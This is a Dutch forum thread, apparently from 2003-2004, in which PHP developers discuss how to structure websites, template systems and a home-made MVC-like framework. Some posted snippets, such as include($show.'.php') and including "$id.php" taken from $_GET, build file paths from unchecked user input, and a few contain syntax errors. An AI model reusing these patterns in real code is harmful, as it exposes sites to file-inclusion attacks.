Tja ziet er leuk uit; probleem alleen dat je die CMS omgeving weer moet installeren en dat dat op een standaard geinstalleerde webserver (zoals ik draai bijvoorbeeld) niet gaat. Na het instellen van een aantal opties werkt het wel ok, maar dat was dus niet echt wat ik zoek. Daarbij is trouwens een CMS sowieso niet het doel van dit topic, maar misschien is het eens een mogelijkheid om te kijken hoe Krysalis omgaat met z'n bestanden, heb nu alleen even geen tijd om uitgebreid in die source te gaan zitten spitten (daarbij is dat systeem waarschijnlijk toch te uitgebreid om "even" te gebruiken.

[mbravenboer]

Ik denk dat stap 1 naar een goede architectuur is dat je je met realiseren dat de vraag "Hoe site coden" niet specifiek is voor een bepaald platform/taal. De discussie zou dus veel algemener moeten zijn dan alleen specifieke PHP oplossingen. Het gaat ook niet om concrete oplossingen: het gaat om het idee achter de oplossingen (waarbij de oplossingen dan wel zulke praktische voor- of nadelen kunnen hebben dat het goed of slechte idee te niet wordt gedaan).

Als je het algemener bekijkt zijn er inderdaad "teveel standaards" en dus zeker teveel oplossingen. Waarschijnlijk omdat meningen, sites en kennis verschillen .

[jsiegmund]

hmmm sterk punt inderdaad, eigenlijk zouden we het niet eens over PHP mogen hebben dus... meer centraal moet staan welke standaard manier van coden je gebruikt (structuur en opslag kwestie vooral), en welk middelen je daarvoor benut staat er eigenlijk los van.
Maar ik ben bang dat je dan aan een antwoord als "code en html gescheiden houden" al genoeg hebt klopt in feite natuurlijk ook, maar hoe je dat implementeerd is een tweede natuurlijk.

[Verwijderd]

mbravenboer schreef op 29 April 2003 @ 13:53:
Ik denk dat stap 1 naar een goede architectuur is dat je je met realiseren dat de vraag "Hoe site coden" niet specifiek is voor een bepaald platform/taal. De discussie zou dus veel algemener moeten zijn dan alleen specifieke PHP oplossingen.

Zeer zeker mee eens, maar er staan hierboven ook zeer zeker verschillende 'generieke' oplossingen!

[Verwijderd]

ddc schreef op 29 april 2003 @ 07:33:
[...]

Zonder alles gelezen te hebben en overal op in willen gaan vind ik dit hééél ranzige code.

Zo is beter:

PHP:

<?
include($show.".php");
?>

och gossie denkt er 1 dat ie mastah is, whaha stumpertje als je wil patsen graag eigen patstopic beginnen aub..

[Cartman!]

ik heb onlangs nog een php/mysql site gemaakt met CMS erin (wat ik voor het eerst deed), en had index.php die bestond uit een header.php footer.php en voor de inhoud zelf checkte hij of de file wel bestond dus zodat een gebruiker nooit een 'echte' 404 te zien krijgt maar een die past in de site, daar was ik zelf al wel blij mee

edit : deze code dus

PHP:

<?
$id = $_GET['id'];
include ('header.php');
if(file_exists("$id.php") && strlen ($id) < 12) { 
    include "$id.php"; 
    }
    else(strlen ($id) < 12) { 
        include "error.php"; 
    }
include ('footer.php'); 
?>

Ik gebruik zoveel mogelijk css (extern file style.css), en zet plaatjes in de map images. de .php files gooi ik in 1 dir wat soms wat rommelig oogt op de server, maar dat ziet een gebruiker toch niet en ik vind het niet storend. heb nog niet echt een standaart ontwikkeld maar ik denk dat het systeem wat ik nu gebruik voldoet aan mijn eisen. Later zal het allemaal best wat efficienter worden denk ik alhoewel ik nu nog niet zou weten hoe.

Maar zulke topics zijn erg handig voor tips en ideeen

[ Voor 15% gewijzigd door Cartman! op 29-04-2003 21:38 ]

[Johnny]

iCe01 schreef op 28 April 2003 @ 10:22:
[...]

Voor een kleine site wordt een simpel systeem gemaakt, voor grotere projecten komen OO technieken e.d. naar boven. WAAROM?
Dat het in eerste opzicht de meest logische oplossing is zie ik ook wel in, ik mis alleen een systeem wat voor beide zaken gewoon goed werkt.

Omdat als ik een website moet maken die uit 5 pagina's bestaat ik geen zin heb op tientallen uren bezig te zijn met een beheer gedeelte, automatisch thumbnail generatie systeem of database ondersteuning, in de dezelfde tijd dat ik een kleine website maak (in minder dan een week) ben ik nog niet eens begonnen met het coden van een grote website met honderden (dynamische) pagina's die dagelijks zal worden bijgewerkt door verschillende mensen.

[Verwijderd]

ikzelf werk met een index.php, met header en footer. Deze bevat m'n table layout.
index.php?page=1
laadt $pages[$_GET['page']]
Allerhande variabelen worden in vars.inc.php bewaard, die als allereerste ingevoegd wordt.
maar er worden ook nog andere includes gedaan, voor een menu, login, winkelmandje, ....maar deze zijn aanwezig indien de login het toelaat....
m'n index.php is nog best leesbaar, maar de andere bestandjes zijn slordig door PHP&HTML in elkaar (gebruik ook geen XHTML+CSS )

Dit is m'n eindwerk, en dus m'n allereerste grote PHP project, en eigenlijk heb'k spijt dt'k geen JSP genomen heb, aangezien die taglibs eigenlijk wel het een en ander verbeteren inzake de problemen met PHP die deze topicduidelijk aanwijst.
m'n code staat middenin m'n HTML momenteel, wat'k echt wel slordig vind, vorig jaar (eerste fase van eindwerk) had'k daar heel wat minder problemen mee, tot je het aantal bestanden ziet groeien.

[B-Man]

Ik gebruik (ook gedurende de afgelopen twee jaren) eenzelfde structuur:

dir structuur
(/ = map in het bestandssysteem, meestal /home/www/site.nl/)
/include - algemene zaken, instellingen
/www - document root (toegankelijk via het web)
/logic - daadwerkelijke code
/library - classes met logica
/objects - objecten die data inkapselen

Nu heeft iedere file in /www standaard een include naar /include/base.php, waarin ik een aantal standaard functies heb staan, en configuratie in de vorm

PHP:

$CONFIG_VARS["DB"]["server"]        = "localhost";
 // functies als 
/**
    * Go to the specified URL
    * @param    $url    URL to go to
    */
    function go($url) {
        if(SID) {
            if(strpos($url, "?") === false) $url .= "?".SID;
            else $url .= "&".SID;
        }
        header("Location: $url");
        exit;
    }

/**
    * Include a library file
    * @param    $file   file to include
    */
    function lib($file) {

        global $CONFIG_VARS;

        // if first char is a "/", strip it
        if($file[0]=="/") $file = substr($file, 1);

        // add .php if needed, so we can use a short spec
        if(substr($file, -4) != ".php") $file .= ".php";

        // if the file exists, include it
        $file = $CONFIG_VARS["PATHS"]["base"].
                $CONFIG_VARS["PATHS"]["library"].$file;
        if(file_exists($file)) {
            include_once($file);
        } else {
            // error (print something to errorlog ?
            echo "error lib($file)";
        }
    }

// En dan nu een interessant deel
if($CONFIG_VARS["SYSTEM"]["auto_logic"]) {
    $path = substr($PHP_SELF, strlen($base));
    logic($path);
}

Als er in de /logic dir (of een subdir ervan) een file bestaat met dezelfde naam als de file in de /www dir die wordt aangeroepen, wordt deze automatisch ingelezen.

Alle files in /logic bevatten logica, /www bevat enkel weergave code. Op deze manier kan ik relatief eenvoudig een nieuw "uitvoermedium" integreren.
Ik heb in mijn library een aantal eigen objecten staan voor het afhandelen van sessies, databases (met caching enz, erg handig), formulieren, etc.

Een logica bestand ziet er als volgt uit:

PHP:

    /**
    * Logic for ./login.php
    *
    * This file performs some lookups when given
    * POST values from the login form, and logs
    * the user in when everything is correct.
    * Otherwise it redirects the user
    *
    * @date         17/10/2001
    * @version      1.0
    * @copyright    2001
    */

    /*  Import libraries */
    lib('auth');
    lib('forms');
    lib('session');
    
    /*  Import variables we need in the script */
    global $o;

    /*  Export variables we need for output */
    global $msg;

    // Initialize objects
    $F = new form();

    /*  Only perform an action if we got some values
        from the login form */
    if(!empty($F->get('user') && 
        !empty($F->get('pass'))) {

        $user = strip_tags($F->get('user'));
        $pass = strip_tags($F->get('pass']));

        $A = new auth();
        $A->login($user, $pass);
        /*  If the login is successfull, the user is
            automatically sent to the main page.
            Upon login failure, the user is sent
            to an error page.
        */
        $msg = $A->msg;
    } else {
        if(!$F->isEmpty()) {
            /*  The form was submitted, we did not get a
                username and password though */
            $msg = "U moet zowel een gebruikersnaam als een wachtwoord invullen";
        } else {
            /*  Check if there still is an active session */
            if($o == 1) $msg = "U bent succesvol uitgelogd";
        }
    }

In mijn uitvoer script in de /www dir staat enkel een php-statement om $msg weer te geven. Door het gebruik van een include in functies (de lib functie bijvoorbeeld), werd en wordt ik gedwongen om consistent te zijn met variabelen, het creeert een soort van public/private systeem.

Ik kan nog wat meer code posten indien er interesse is.

[B-Man]

Nog een korte post, de ander is al aardig lang. Ik gebruik (nog) geen xml en templates in al mijn projecten gezien de overhead en eisen die een XSL parser stellen. Ik gebruik CSS overal, inclusief scheiding van javascript van HTML d.m.v. behaviors in Internet Explorer, en het alternatief wat beschikbaar is voor Mozilla.

Daarnaast is het zo dat mijn eigen objecten ten alle tijde onder dezelfde naam beschikbaar zijn, een aantal overal, afhankelijk van de instellingen. Dit zorgt er voor dat ik door een simpel include statement (pseudo code: "gebruik object xyz") ervoor kan zorgen dat een pagina, functie of object zich anders gedraagt.

[ Voor 34% gewijzigd door B-Man op 29-04-2003 23:53 ]

[jsiegmund]

Ben wegens drukte niet echt in staat geweest om nog te antwoorden op dit topic, of om verder te gaan in m'n zoektocht; maar ik denk dat het toch redelijk ondoenlijk gaan blijken om een echte standaard te verzinnen. Ik ben wel van plan zelf eens te gaan werken aan een systeem ala Zope, maar dan puur gebaseerd op php en xml combinaties. Of dat gaat lukken is een tweede natuurlijk, maar proberen kan altijd nietwaar
Iig bedankt voor de info, en als er iemand nog eens een mooi artikel vind over hetzelfde onderwerp zou ik de URL hier graag zien verschijnen

[KolNedra]

Ik vind (PHP) standaarden zo ja hoe zal ik het noemen: DOM

Iedereen heeft zijn of haar manier van werken.

[gorgi_19]

KolNedra schreef op 13 May 2003 @ 14:30:
Ik vind (PHP) standaarden zo ja hoe zal ik het noemen: DOM

Iedereen heeft zijn of haar manier van werken.

idd. En ik weet ook dat als jij je aan geen enkele standaard houdt, je iig bij mij niet in het projectteam komt te werken.

Waarvoor denk je dat standaarden zijn? Om codes nog een beetje overzichtelijk voor iedereen te houden en vooral: uitwisselbaar en 'samenwerkbaar'.

Het zou toch 'fantastisch' worden als ik een integer prefix met i, en een interface met I, terwijl een ander een I als prefix voor een integer gebruikt, etc.

[ Voor 21% gewijzigd door gorgi_19 op 13-05-2003 14:41 ]

[Verwijderd]

Ik heb gewoon iets braks gemaakt!

code:

       +--------------------<<-------------------+
       |                                                       |
[request] --> [site controller]  --> [viewport [sub]*2[/sub]] ]
                          |
                          |
                          +---> [ logic[sub]*1[/sub]]

De volgende structuur gebruik ik altijd op me websites;
er is een klasse page controller die alle http requests krijgt, die vervolgens verifiert verschillende dingen zoals mag de bezoeker hier in (bijv. bij system dirs), wil hij specifieke services (bijv. webservice voor b2b) als als goed is wordt de aanvraag naar de logic controller gestuurd die handeld vervolgens de aanvraag af.

Nadat de logic controller de aanvraag heeft afgehandeld dmv. van het uitspugen van xml; wordt het resultaat door gestuurd naar viewport; dit is eigenlijk het belangrijkste die spuugt de werkelijke code uit en stuurt het terug naar de client. Hier wordt bijv. de xml formaat van de website omgezet naar html, wap e.d. maar hier wordt bijv. het standaard xml formaat ook omgezet naar een leesbare/gemakkelijke xml formaat bijv. een die makkelijker is te parsen door flash-mx.

Waarschijnlijk waardeloos idee, en zal wel niet goed qua OOP e.d. En al die andere malle termen zoals factories, iterators , bussiness patterns en weet ik veel nog meer. Ik zal dat allemaal nog wel eens lezen, maar hierboven vind ik zelf logisch

[twiekert]

Janoz schreef op 28 April 2003 @ 10:50:
Ok, ten eerste ff mijn ongefundeerde flamerige mening over index?page=content achtige template systemen....

heel verhaal over template-in-content ipv andersom

idd ik weet niet welke lamlul dat bedacht heeft maar het is gigantisch lastig te onderhouden. template om de content heen plakken is toch veel logischer ?

het systeem wat ik nu gebruik:

website files:
htdocs/$website/ < root dir van website
htdocs/$website/inc < javascript includes
htdocs/$website/pics < static pic files
htdocs/$website/upload < upload dir voor plaatjes
htdocs/$website/cms < ROOT cms systeem voor website

website includes:
htdocs/$website-inc/ < root dir van includes voor website (niet toeganglijke dus voor internet)

standaard template layout:

PHP:

<?
require_once("includes.inc.php");

formulier checks en sql queries

<form name=form action=post naarzichzelf method=post>

uitvoer templates en content

bijvoorbeeld

<? echo HTML_header(); ?>


<? echo HTML_leftframe_start(); ?>

<font class='textbold2'>blaat<font>

<? echo HTML_leftframe_stop(); ?>

<? echo HTML_footer(); ?>

?>

includes.inc.php

het include bestand include standaard:

config.inc.php
configuratie file waarin de volgende dingen staan:
- standaard variablen voor locaties van include bestanden (locaal en internet adressen)
- welke files geauthoriseerd zijn om uitgevoerd te worden en of deze files benaderd mogen worden als men niet ingelogd is
- cms configuratie files

v.b. van path variablen

PHP:

$CONFIG["AD_PATH_ROOT"] = $_SERVER["DOCUMENT_ROOT"] . "/dewebsitehier.nl/";
$CONFIG_DEBUG["ipadressvanPC"] = 1;
$CONFIG["PATH_UPLOAD_DESTDIR"] = $CONFIG["AD_PATH_ROOT"] . "upload/";

door die zooi te includen kan je dus overal dezelfde config gebruiken en hoef je het maar een keer te veranderen als je de site in een ander path / server gooit.
updates voor de site ook makkelijk, gewoon files kopieren van dev area naar de live website zonder de config file en gaan

v.b. van file instelling

PHP:

$CONFIG_FILESETTINGS["/inloggen.php"] = "1:1:Inloggen";

eerste setting is 1 of 0. 1 is anymous access, 0 is inloggen vereist.
2e is de include mode, 0, 1 of 2, wordt gebruikt in includes.inc.php om te bepalen welke functionaliteit geinclude moet worden.
derde optie is de file een title geven die in de html tag <title> wordt gebruikt.

debug.inc.php

simpele classes / functions die te gebruiken zijn om snel ff de parsetime te meten van een stuk code of om een formulier array op het scherm te zetten + interne code die ermee samenhangt.

gzip.inc.php
gzip code voor het compressen van de pagina

security.inc.php
- pleurt headers op het scherm (cache headers, meta keywords etc)
- checkt of user ingelogd is en zet uservariabelen goed (userid, rechten etc)
- checkt of huidige file wel in config voorkomt zoja uitvoeren, zonee exit met foutmelding.
- database connectie bouwen
- include css opmaak file
- start van de content file <HTML><TITLE> etc. info voor de title haalt tie uit de derde optie in de config.inc.php van het huidige bestand.


voorde rest ben ik nog een prutser die pas 11 maanden php kan
ik moet wel zeggen dat toen ik van ASP newbie naar php newbie overstapte het coden een stuk makkelijker ging

[Verwijderd]

twiekert schreef op 13 May 2003 @ 20:02:

PHP:

<?
require_once("includes.inc.php");

formulier checks en sql queries

<form name=form action=post naarzichzelf method=post>

uitvoer templates en content

bijvoorbeeld

<? echo HTML_header(); ?>


<? echo HTML_leftframe_start(); ?>

<font class='textbold2'>blaat<font>

<? echo HTML_leftframe_stop(); ?>

<? echo HTML_footer(); ?>

?>

[knip]

voorde rest ben ik nog een prutser die pas 11 maanden php kan
ik moet wel zeggen dat toen ik van ASP newbie naar php newbie overstapte het coden een stuk makkelijker ging

Even een vraagje / opmerking, we hadden geloof ik in de bovenstaande replies gezien dat het scheiding van content en opmaak een groot punt was (wat volgens mij ook geaccepteerd werd als goed punt).

Volgens mij doe je daar niet aan, zou je kunnen uitleggen waarom niet (en wat jij als voordelen ervan ziet)?

[alienfruit]

Hmm. Ik gebruik gewoon een scriptable template; zoals XSD of me eigen creatie hier de content in een klasse spuugt vervolgens een kant-en-klare pagina uit. De content die naar de klasse wordt gestuurd, heeft wel een eigen markup langauge; om verschillende problem as cross linking en dead links later te verkomen.

Eigenlijk zou ik wel willen dat de templates objecten moet aanmaken die vervolgens de content ontvangt en gebruikt. Met loops en andere leuk spul.
Wat vinden jullie van dat idee?

[ Voor 23% gewijzigd door alienfruit op 13-05-2003 22:35 ]

[me1299]

ddc schreef op 29 April 2003 @ 07:33:
[...]

Zonder alles gelezen te hebben en overal op in willen gaan vind ik dit hééél ranzige code.

Zo is beter:

PHP:

<?
include($show.".php");
?>

Dit noteert een stuk korter:

PHP:

<?php
include("{$show}.php");
?>

[twiekert]

Verwijderd schreef op 13 mei 2003 @ 21:50:
[...]

Even een vraagje / opmerking, we hadden geloof ik in de bovenstaande replies gezien dat het scheiding van content en opmaak een groot punt was (wat volgens mij ook geaccepteerd werd als goed punt).

Volgens mij doe je daar niet aan, zou je kunnen uitleggen waarom niet (en wat jij als voordelen ervan ziet)?

Verwijderd schreef op 13 mei 2003 @ 21:50:
[...]

Even een vraagje / opmerking, we hadden geloof ik in de bovenstaande replies gezien dat het scheiding van content en opmaak een groot punt was (wat volgens mij ook geaccepteerd werd als goed punt).

Volgens mij doe je daar niet aan, zou je kunnen uitleggen waarom niet (en wat jij als voordelen ervan ziet)?

mjah hoe ver ga je die scheiding doorvoeren en op welke manier. de bedoeling van een template is immers centraal de layout definieeren en daarin de content zetten. dat systeem wat ik nu gebruikt doe dat, maar je hebt wel gelijk wat betreft de scheiding van template en content, bij mij is dat geen echte scheiding.

ik ben min of meer in dit systeem gegroeid door zelf te prutsen omdat ik tegen de beperkingen van het template systeem van index.php?page=blaat aanliep. ik ben hierdan ook gauw van afgestapt en ben aan het nadenken gegegaan over een beter systeem omdat erop op internet niet veel over te vinden is.


de reden waarom ik het op deze manier aanpak is omdat de content zelf ook nog in een layout gezet moet worden, en dit is voor elke pagina weer iets anders

<? echo HTML_leftframe_start(); ?>

extra custom layout + content

<? echo HTML_leftframe_stop(); ?>

het kan natuurlijk altijd beter, hoe wat waarom is dit topic voor, ik ga dan ook zeker dit topic in de gaten houden.

[Eijkb]

Interessante thread. Heb net mijn website-coderingen eens doorgeneusd en het is me opgevallen dat ik door de "jaren" heen nooit echt een methode gebruikt heb. Hierdoor is veel van het werk niet herbruikbaar. Zat toevallig vandaag weer eens een authenticatie-aanlog-paswoord kwijt-script te schrijven terwijl ik dat al -tig keer gedaan heb. Maar door dit niet te standariseren blijf je bezig. Hoop dat er een eindconclusie komt bij deze thread

[Verwijderd]

B-Man schreef op 29 april 2003 @ 23:48:
*knip*...heel veel code ensow, en tekst...*knip*

Ik kan nog wat meer code posten indien er interesse is.

Ten eerste mijn excuses dat ik dit topic omhoog kick, maar ik kon niet aan het email adres komen van B-Man, en daarom maar via dit topic. (tis trouwens voor veel mensen toch handig, de vraag die ik stel )

maargoed, mijn vraag:
Zou je wat meer code willen posten? En misschien wat meer uitleg? Ik ben namelijk heel er geinteresseerd in jouw aanpak en wil zelf ook zoiets gaan maken. Dus misschien dat je ook kan vertellen hoe je aan dit systeem komt (inspiratie e.d.)

Alvast bedankt

[B-Man]

Verwijderd schreef op 13 oktober 2003 @ 19:57:
[...]


Ten eerste mijn excuses dat ik dit topic omhoog kick, maar ik kon niet aan het email adres komen van B-Man, en daarom maar via dit topic. (tis trouwens voor veel mensen toch handig, de vraag die ik stel )

maargoed, mijn vraag:
Zou je wat meer code willen posten? En misschien wat meer uitleg? Ik ben namelijk heel er geinteresseerd in jouw aanpak en wil zelf ook zoiets gaan maken. Dus misschien dat je ook kan vertellen hoe je aan dit systeem komt (inspiratie e.d.)

Alvast bedankt

Inspiratie: ervaring! Na lang te hebben gecopy-paste en andere ranzigheden wilde ik mijn scripts wat beter beveiligen en structureren, zo kwam ik tot dit systeem.

Mail me maar op bgooren - at - hotmail.com, dan praten we daar verder.

[B-Man]

Omdat ik van snoopy een bericht kreeg, en hotmail geen code-tags kent, post ik hier wat meer over de huidige status van mijn framework.

Hallo Karst,

Sinds mijn post @ GoT is mijn framework weer aardig wat gevorderd. Ik gebruik nog steeds een gescheiden logic/display systeem, maar nu wat beter gestructureerd als voorheen qua helpers.

Ik gebruik in mijn "www" directory (die publieke scripts bevat) een .htaccess die een auto_prepend file instelt.

Deze file stelt wat configuratie settings in:

PHP:

$CONFIG_VARS['SELF'] = array(
        'version'   => '4.0'
    );

En start vervolgens het framework:

PHP:

// Rewrite our <tr data= tag as well
ini_set('url_rewriter.tags', ini_get('url_rewriter.tags').',tr=data');

// Load standard functions
require_once($CONFIG_VARS['PATHS']['base'].$CONFIG_VARS['PATHS']['library'].'framework.php');
require_once($CONFIG_VARS['PATHS']['base'].$CONFIG_VARS['PATHS']['include'].'functions.php');

// Initialize our framework
CFW::initialize();

// Initialize debug error handler
CFW::lib('errorDebug');

// Initialize language system
CFW::lib('language');

if(CFW::cfg('SYSTEM:auto_logic')) {
    $root = CFW::cfg('PATHS:root');
    $path = substr($PHP_SELF, strlen($root));
    CFW::logic($path);
}

Een van de nieuwe zaken is een 'framework' klasse (die heet in mijn scripts 'CFW'), waar libraries zich kunnen registreren, en die een aantal statische functies bevat om een soort van 'global framework' te realiseren.

Wat interessante functies in mijn framework klasse:

PHP:

// Iedere lib die globaal beschikbaar zal zijn, registreert zichzelf met CFW::registerBrick()
function registerBrick( $name, &$obj ) {
    $fw = &$GLOBALS['_cfw'];
    $fw->bricks[$name] = &$obj;
    if($fw->debug) echo 'Registering \''.$name.'\' with the framework<br>';
    $GLOBALS['_'.$name] = &$obj;
}

// Andere code kan de lib dan terugvinden mbv CFW::getBrick(..name..)
function &getBrick( $name ) {
    $fw = &$GLOBALS['_cfw'];
    if(isset($fw->bricks[$name]))
        return $fw->bricks[$name];
    else
        return false;
}

// Error-afhandelings libraries registreren zichzelf automatisch hier, de library aanroep in de auto prepend file roept dus de debug error handler aan
function registerErrorHandler($name, &$obj) {
    $fw = &$GLOBALS['_cfw'];
    $fw->errorhandlers[] = array($name, &$obj);
}

// Applicatie code kan nu mbv CFW::raiseError() een error gooien
function raiseError($error, $level = FATAL) {
    $fw = &$GLOBALS['_cfw'];
    $error = Language::NLS($error);
    foreach($fw->errorhandlers as $handler) {
        $handler[1]->raiseError($error);
    }
    if($level == FATAL) die();
}

// Functie om configuratie gegevens op te vragen
function cfg( $name ) {
    $parts = split(':', $name);
    if(count($parts)!=2) return '';
    global $CONFIG_VARS;
    return $CONFIG_VARS[$parts[0]][$parts[1]];
}

function redirect($url) {
    header("Location: $url");
    exit;
}

/**
* Include a library file
* @param    $file   file to include
*/
function lib($file) {

    global $CONFIG_VARS;
    $fw = &$GLOBALS['_cfw'];

    $class = $file;

    if($file[0]=='/') $file = substr($file, 1);
    if(substr($file, -4) != '.php') $file .= '.php';

    // if the file exists, include it
    $file = $CONFIG_VARS['PATHS']['base'].
            $CONFIG_VARS['PATHS']['library'].$file;
    if(file_exists($file)) {
        if(!in_array($class, $fw->libs)) $fw->libs[] = $class;
        require_once($file);
    } else {
        // error (print something to errorlog ?
        echo 'error lib('.$file.')';
    }
}

function libLoaded($file) {
    $fw = &$GLOBALS['_cfw'];
    return in_array($file, $fw->libs);
}

/**
* Include a logic file
* @param    $file   file to include
*/
function logic($file) {
    
    global $CONFIG_VARS;

    if($file[0]=='/') $file = substr($file, 1);

    // if the file exists, include it
    $file = $CONFIG_VARS['PATHS']['base'].
            $CONFIG_VARS['PATHS']['logic'].$file;
    if(file_exists($file)) {
        if(CFW::libLoaded('form')) Form::setStrip(false);
        include_once($file);
        if(CFW::libLoaded('form')) Form::setStrip(true);
    } else {
        // error
        // echo "error logic($file)";
    }
}

De scheiding tussen logic/display code heb ik nog verder uitgewerkt dan voorheen, ik heb wat extra classes gemaakt die de interactie tussen de twee regelen.

Even een voorbeeldje, dit is de logica achter een publiek script (staat dus in /logic)

PHP:

/**
* List all RBAC roles
*/

/*  Import libraries */
CFW::lib('auth');   // Deze valideert automatisch of de gebruiker ingelogd is enz.
CFW::lib('page');   // Communicatie tussen logic/display

/*  Import variables we need in the script */
// none

/*  Export variables we need for output */
Page::export(array( // Deze klasse zorgt voor de link tussen logic/display
    'roles'     => &$roles
));

/*  Check ACL */
// Jaja, ik heb ook een MPTT/RBAC based access control systeem gemaakt ;-)
//$acls = Auth::getACL('accounts.aco.list');
//if($acls['accounts.aco.list'] == ACL_DENY) CFW::raiseError('nls:error.insufficient_rights', FATAL);

// Db klasse initialiseert standaard (bij aanroep CFW::lib('db')) op de in de config ingestelde db
// mbv selectdb is een andere db te kiezen
// Ik hoef geen CFW::lib('db') te doen, aangezien de Auth klasse dit al doet
// het kan echter wel, aangezien de CFW::lib functie libraries maar een keer laadt
Db::selectDb(CFW::cfg('DB:rbac'));
//$roles = Db::fetchArray('all', 'a', 'SELECT * FROM role WHERE allow_children=1 ORDER BY nleft asc');
// Een aan handige functie in de Db klasse, beetje a la PEAR::ado_db, maar dan met wat leuke extra's
$roles = Db::fetchArray('all', 'a', 'SELECT * FROM role ORDER BY nleft asc');

Aan de display kant heb ik dan een aantal client-side dingen zoals IE behaviors om alles (zeer) snel te laten draaien:

code:

<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" class=inframe>

<CT:PAGECOM 
    icon="/images/icons/32x32/aro.gif" 
    title="RBAC rollen: overzicht" 
    subtitle="Een overzicht van alle rollen" 
/>

<CT:MENUCOM title="Links" target="myRoleFrame">
    <table class=menu_left>
        <tr data="rbac_role_mod.php?mode=add&<?=SID?>" 
            title="Een rol toevoegen" 
            icon="/images/add_obj.gif">
            <td>toevoegen</td>
        </tr>
    </table>
</CT:MENUCOM>

(Zie de CT tags, deze zijn gekoppeld aan behaviors)

Daarnaast roept deze display pagina later het volgende aan:

PHP:

foreach(Page::get('roles') as $obj) 
{
    // code
}

Op deze manier moet de logica de variabelen dus verwerken, en ze expliciet doorgeven aan de display pagina's/scripts, aangezien deze nooit direct aan _GET en _POST komen.

Dan heb ik nog een heel aantal extra klassen voor gebruik in de logic code, waardoor ik kan zeggen:

PHP:

/* Import variables we need in the script */
$mode   = Request::getSafe('mode', 'string');
$id = Request::getSafe('id', 'integer');
$object = Request::getSafe('object', 'integer');
$check  = Request::getSafe('check', 'boolean');

en:

PHP:

if(!empty($mode)) {
    Form::setData('rbac:object', array($mode, $id, $object));
}

$spoof  = &Form::getData('rbac:object');

Waarbij Form::setData en Form::getData ervoor zijn om gegevens die veelal in FORM hidden vars terecht komen op en een andere manier op te slaan (sessies of DB, in te stellen m.b.v. configuratie, die weer door de Form klassen gerespecteerd wordt). Op deze manier voorkom ik 'form spoofing', het veranderen van vaststaande gegevens.

Ook

PHP:

// Verify this call
$modes = array('add','edit','delete');
if(!in_array($mode,$modes))
    CFW::raiseError('nls:error.invalid_call', FATAL);
if(($mode == 'edit' || $mode == 'delete')&& empty($id))
    CFW::raiseError('nls:error.invalid_call', FATAL);

is erg handig, zoals je ziet gebruik ik hier de CFW::raiseError call. De errorDebug klassen doet het volgende:

PHP:

/**
* Error handling class
*
* Handle errors
*/

CFW::lib('error');
CFW::lib('js');

class DebugErrorHandler extends ErrorHandler {

    function DebugErrorHandler() {}

    function raiseError($error, $file = 0, $line = 0) {
        $out = 
            '<div style="position: absolute; bottom: 10px; left: 10px; '.
                    'filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,'.
                    'startColorstr=#F7F7F7, endColorstr=#EFEBD6);'.
                    'width: 300px; height: 100px; z-index: 50; border: 1px solid black;" '.
                'onMouseOver="this.style.cursor=\'hand\'" onClick="this.removeNode(true)">'.
            '<div style="width:100%; height:100%; padding: 10px" onMouseOver="this.style.cursor=\'hand\'">'.
            '[img]"/images/showwarn_tsk.gif"[/img]&nbsp;&nbsp;'.
            '<b>Er is een fout opgetreden '.
                ((!empty($file) && !empty($line))?'op regel '.$line.' ('.$file.')':'').
            '</b><br><br>'.
            $error.
            '</div></div>';
        js::top_frame_show($out);
        //echo $out;
    }
}

// Auto register with the framework
CFW::registerErrorHandler('debug', new DebugErrorHandler());

waardoor de gebruiker dus netjes m.b.v javascript een soort van pop-up krijgt.

Je ziet zo ook meteen dat veel klassen gebruik maken van een NLS lib die ik geschreven heb, zo kan ik dus een NLS error opgeven door er een 'nls:' prefix voor te zetten.

Ook is zo te zien hoe een klasse zich kan registreren bij het framework (in dit geval een error-klasse).
Een normale klasse doet dit als volgt:

PHP:

/**
* Authentication class
* ..snip..
*/

/*  Import libraries */
CFW::lib('rbac');
CFW::lib('db');
CFW::lib('session');

define('AUTH_LOGIN_ID',     10);
define('AUTH_LOGIN_NAME',   11);
define('AUTH_ACCOUNT',      12);
define('AUTH_ROLE',         13);
define('AUTH_MODULES',      14);

define('AUTH_LOGIN_ADMIN',  20);
define('AUTH_LOGIN_STATUS', 21);
define('AUTH_LOGIN_COUNTER', 22);
define('AUTH_LOGIN_ACTIVITY', 23);
define('AUTH_LOGIN_IP',     24);

class Auth {

    // .. snip ..
    /**
    * Constructor, get some configuration variables
    */
    function Auth() {
        
        /*  Create database and session objects */
        $this->rbac     = new rbac();

        if(strpos($_SERVER['PHP_SELF'], CFW::cfg('PATHS:login')) === false)
            Auth::verify();
    }

    // .. snip ..
}

// Register with Framework
CFW::registerBrick('auth', new Auth());

Ok, nu eerst maar eens deze post plaatsen, eerst maar eens horen wat je reactie op deze lap informatie is

[ Voor 40% gewijzigd door B-Man op 12-09-2004 18:56 . Reden: layout minder verpest ]

[snoopy]

Ik heb het even redelijk snel doorgekeken, en de opbouw van het framework ziet er echt super uit.

Ik ben zelf bezig met het opbouwen van een systeem waarbij het dus mogelijk moet worden modules toe te voegen aan het systeem, en ik heb in jouw code toch al wel een paar aardige techniekjes gezien waar ik zelf nog niet opgekomen was.

Ik zat even nog te kijken naar die errorhandlers, maar klopt het dat er in principe maar 1 errorhandler wordt geregistreerd?

Ik zal het later als ik weer even wat tijd heb wat dieper doorkijken.

[B-Man]

snoopy schreef op 12 september 2004 @ 21:20:
Ik heb het even redelijk snel doorgekeken, en de opbouw van het framework ziet er echt super uit.

Merci Ik heb het dan ook niet alleen op theorie gebaseerd, maar grotendeels op praktijk. Al zijn er nog steeds onderdelen die ik regelmatig wat bijschaaf, of al meer dan een jaar 'conceptualiseer'. Zo ben ik nog steeds aan het afwegen of het verstandig is qua performance om een DAL om mijn Db/Sessie klassen heen te bouwen, die alle queries en sessie-dingen in de logica scripts vervangt.

snoopy schreef op 12 september 2004 @ 21:20:
Ik ben zelf bezig met het opbouwen van een systeem waarbij het dus mogelijk moet worden modules toe te voegen aan het systeem, en ik heb in jouw code toch al wel een paar aardige techniekjes gezien waar ik zelf nog niet opgekomen was.

Ik zat even nog te kijken naar die errorhandlers, maar klopt het dat er in principe maar 1 errorhandler wordt geregistreerd?

Ik zal het later als ik weer even wat tijd heb wat dieper doorkijken.

